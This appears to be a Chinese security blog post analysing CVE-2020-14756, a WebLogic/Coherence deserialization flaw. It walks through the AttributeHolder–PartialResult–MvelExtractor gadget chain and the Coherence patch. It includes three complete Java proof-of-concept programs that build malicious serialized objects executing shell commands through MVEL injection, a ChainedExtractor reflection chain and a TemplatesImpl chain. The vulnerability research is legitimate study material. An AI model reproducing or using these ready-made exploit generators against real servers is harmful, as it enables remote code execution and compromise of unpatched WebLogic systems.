影响版本
Oracle Weblogic Server 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
其中12.1.3.0.0的利用链与12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0有所不同
先说这个洞思路不错的地方在于,通过一个实现了Externalizable
接口的白名单类AttributeHolder
对内部的数据流进行自定义反序列化readExternal
操作,使后续的数据流在反序列化时没有经过readObject()
黑名单检验,就能够利用之前的黑名单类进行攻击(例如作者利用的是CVE-2020-2555的sink)
环境搭建
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
- "8453:8453"
docker cp weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh ./setDomainEnv.sh
更改local_debug
为true,本地chomod +x
之后再cp进容器,否则没有权限
docker cp ./setDomainEnv.sh weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
docker cp weblogic-12.2.1.3-8u151:/u01/oracle ./weblogic12.2.1.3
find ./weblogic12.2.1.3 -name *.jar -exec cp {} ./alllib/ \;
docker cp weblogic-12.2.1.3-8u151:/usr/java/jdk1.8.0_151 ./jdk
ExternalizableLite接口
ExternalizableLite
接口定义了两个方法readExternal
和writeExternal
。凡是实现了ExternalizableLite
的类,在这两个方法内部都借助ExternalizableHelper
来进行自定义的序列化和反序列化。
例如AttributeHolder
重写了自己的writeExternal
,将内部变量this.m_oValue
写入序列化的输出流
再例如TopNAggregator.PartialResult
也重写了自己的writeExternal
,将内部变量this.m_comparator
写入序列化的输出流
漏洞分析
写在前面
在反序列化时会判断实例所属的类是否实现了Externalizable
接口
如果实现了Externalizable
或者ExternalizableLite
接口,会调用实例自身的readExternal
方法,这是一个自定义反序列化操作。这个漏洞所利用的类(AttributeHolder、PartialResult、MvelExtractor)都实现了Externalizable
或者ExternalizableLite
接口
public class AttributeHolder extends Base implements Externalizable
public static class PartialResult extends SortedBag implements ExternalizableLite
public class MvelExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite
寻找sink
由于第一个类AttributeHodler
不在黑名单中,且其反序列化操作为readExternalData
,主要作用是循环递归ExternalizableLite
接口自定义的反序列化操作
那只需要关注在递归过程中,每个ExternalizableLiteImpl
在调用自定义readExternal
还原数据流时是否有危险操作,且参数可控的情况。
首先作者的sink依然是利用CVE-2020-2555
中,@Lucifaer师傅挖掘的Mvel
表达式注入
通过com.tangosol.coherence.rest.util.extractor.MvelExtractor
父类com.tangosol.coherence.rest.util.extractor.AbstractExtractor
中的compare
方法调用自身extract
方法
寻找gadget
在com.tangosol.util.aggregator.TopNAggregatorc.PartialResult#readExternal
方法中调用了instantiateInternalMap
方法,且this.m_comparator
可在序列化时传入(攻击者可控)
跟进instantiateInternalMap
方法,创建了TreeMap
对象,其comparator
属性值为传入的this.m_comparator
参数,同时攻击者可以构造输入流in
来赋值this.m_comparator
参数
将instantiateInternalMap
函数的结果作为this.m_map
属性值返回后,进入this.add
函数
但步入this.add
函数之前,还需令cElems
不为0,否则直接跳出循环。在追进in.readInt()
的过程中发现,如果仅在PartialResult
实例中写入m_comparator
和m_cMaxSize
两个数据流,那么in.readInt();
获取的值为0,因为已经获取完PartialResult
里的所有数据了。例如我们在序列化是令m_cMaxSize=2
,则把PartialResult
数据流读取到的buffer数据中后,最后一个值指向m_cMaxSize
的值:2
因此我们还要向PartialResult
实例添加数据。我们去看它的对称写操作writeExternal
:将this.size()
写入输出流(实际上就是TreeMap
的size),由于默认建立的TreeMap
而没有赋值导致size初值为0
获取iter
也的过程,也就是在循环取TreeMap
里的键值再写入输出流
所以只需要往TreeMap
里加个键值对就可以执行this.add
方法。跟进this.add
,调用super.add(value)
继续跟进super.add(value)
,进入map.put
操作
在TreeMap.put
中调用了TreeMap.compare
方法
跟进compare
方法,调用this.f_comparator.compare(o1, o2)
在前面提到,我们在构造TreeMap时已经把WrapperComparator.f_comparator
进行了赋值为MvelExtractor
实例。此之我们已经能够调用MvelExtractor.compare()
,且参数o1
与o2
序列化可控,整个gadget完整。
寻找source
找到一个合理的source,能够衔接gadget的起点PartialResult#readExternal()
.
作者选择的是com.tangosol.coherence.servlet.AttributeHolder
,由于AttributeHolder
实现了Externalizable
接口,因此在反序列化的时候步入readExternalData
来处理输入流。
而readExternalData
内部会调用AttributeHolder#readExternal
继续处理输入流
read/WriteExternal
都是深度递归的过程,如果AttributeHodler
属性中有PartialResult
实例,则会继续调用PartialResult#readExternal
,成功衔接到gadget起点
构造POC-逐步写OutObjectInput
在序列化的过程先解析第一个对象AttributeHolder
,进入判断执行writeExternalData
writeExternalData
内部调用AttributeHolder#writeExternal()
。在上文讲ExternalizableLite
接口时提到,凡事实现了ExternalizableLite
接口的类都会自定义writeExternal
来进行自己的序列化操作.
AttributeHolder#writeExternal
调用ExternalizableHelper.writeObject(out, this.m_oValue)
,把自身变量this.m_oValue
写入输出流。
此时我们令this.m_oValue
为com.tangosol.util.aggregator.TopNAggregatorc.PartialResult
,就可以在反序列化时使输入流in
为PartialResult
实例的流对象。到这里也可以看出来,readExternal
和writeExternal
是对称操作
在漏洞分析时我们提到要让PartialResult.m_comparator
的值为MvelExtractor
实例,那怎么向输出流中写入PartialResult.m_comparator
呢?
步入ExternalizableHelper.writeObject(out, this.m_oValue)
之后会发现这个writeExternal
方法是深度递归的过程。它在判断PartialResult
也是一个实现了ExternalizableLite
的类后继续调用PartialResult#writeExternal()
PartialResult#writeExternal()
会调用ExternalizableHelper.writeObject(out, this.m_comparator)
继续向输出流写入PartialResult
内部属性m_comparator
,这就帮我们解决了问题。我们只需创建实例后令PartialResult.m_comparator=new MvelExtractor(xxx);
步入ExternalizableHelper.writeObject(out, this.m_comparator)
,判断this.m_comparator
也就是MvelExtractor
也是实现了ExternalizableLite
的类,继而再次递归调用MvelExtractor#writeExternal
,把this.m_sExpr
写入输出流
至此,我们在漏洞分析中用到的所有变量都可以被写入输出流.
POC-除12.1.3
package weblogic.t3;
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.aggregator.TopNAggregator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CVE_2020_14756 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
String mvel = "";
MvelExtractor mvelExtractor = new MvelExtractor(mvel);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(mvelExtractor,2);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
partialResult.add(1);
Field m_sExpr = mvelExtractor.getClass().getDeclaredField("m_sExpr");
m_sExpr.setAccessible(true);
String mvel1 = "Runtime.getRuntime().exec(\"touch /tmp/CVE_2020_14756\")";
m_sExpr.set(mvelExtractor,mvel1);
FileOutputStream fileOut =
new FileOutputStream("cve_2020_14756.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
}
}
POC-12.1.3-局限
对于Weblogic 12.1.3,ClassLoader无法加载MvelExtractor
,所以需要寻找其它的sink。但笔者比较菜,没有能够找到除了MvelExtractor
之外能够调用readExternal
接口来反序列化的黑名单sink。跟@Hu3sky师傅讨论后,他用ChainedExtractor
实现了12.1.3版本的RCE,我用的是TemplatesImpl
进行了RCE;然而这两种方法中的Runtime.class
与TemplatesImpl.class
都在12.1.3上一个版本的黑名单中,因此以下的两个exp仍不能打黑名单下的Weblogic12.1.3,丢出来仅供学习和后续师傅们利用做参考
12.1.3-ChainedExtractor
package weblogic.t3;
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class CVE_2020_14756_1213 {
public static void main(String[] args) throws Exception{
ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
new ConstantExtractor(null)
};
//构造一个假的aExtractors数组,以便于add操作添加整数
ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
ValueExtractor[] realaExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", null}),
new ReflectionExtractor("invoke", new Object[]{null, null}),
new ReflectionExtractor("exec", new Object[]{"touch /tmp/hpdoger"})
};
partialResult.add(Runtime.class);
Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(extractorChain,realaExtractors);
FileOutputStream fileOut =
new FileOutputStream("/Users/Hpdata/JavaSecurity/POCs/Weblogic/CVE-2020-14756/cve_2020_14756_1213.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
// FileInputStream fileIn = new FileInputStream("cve_2020_14756_1213.ser");
// ObjectInputStream input = new ObjectInputStream(fileIn);
// input.readObject();
}
}
在初始化传入了fakeaExtractors
,防止在partialResult.add
操作时报错
添加完add之后再调用反射重新对ChainedExtractor
父类变量m_aExtractor
赋值
12.1.3-TemplatesImpl
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import ysoserial.payloads.util.Reflections;
import static ysoserial.payloads.util.Gadgets.createTemplatesImpl;
public class CVE_2020_14756_1213 {
//还是不能bypass TemplatesImpl这个黑名单
public static void main(String[] args) throws Exception{
String cmd = "touch /tmp/hpdoger1213";
final Object templates = createTemplatesImpl(cmd, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
new ConstantExtractor(null)
};
//构造一个假的aExtractors数组,以便于add操作添加整数
ChainedExtractor extractorChain = new ChainedExtractor(fakeaExtractors);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(extractorChain);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
ValueExtractor[] realaExtractors = new ValueExtractor[]{
new ReflectionExtractor("newTransformer")
};
partialResult.add(templates);
Field m_aExtractor = extractorChain.getClass().getSuperclass().getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
m_aExtractor.set(extractorChain,realaExtractors);
FileOutputStream fileOut =
new FileOutputStream("cve_2020_14756_1213.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
}
}
PS:学习yso的思路,如果在序列化时为了防止本地反射爆error,则可先调用toString()方法在初始化时伪装,之后再用反射赋值更改要invoke的方法
漏洞修补
coherence.jar补丁中,在readExternalizableLite
方法中对反序列化的数据流调用ObjectFilter
进行检测
发表评论
您还未登录,请先登录。
登录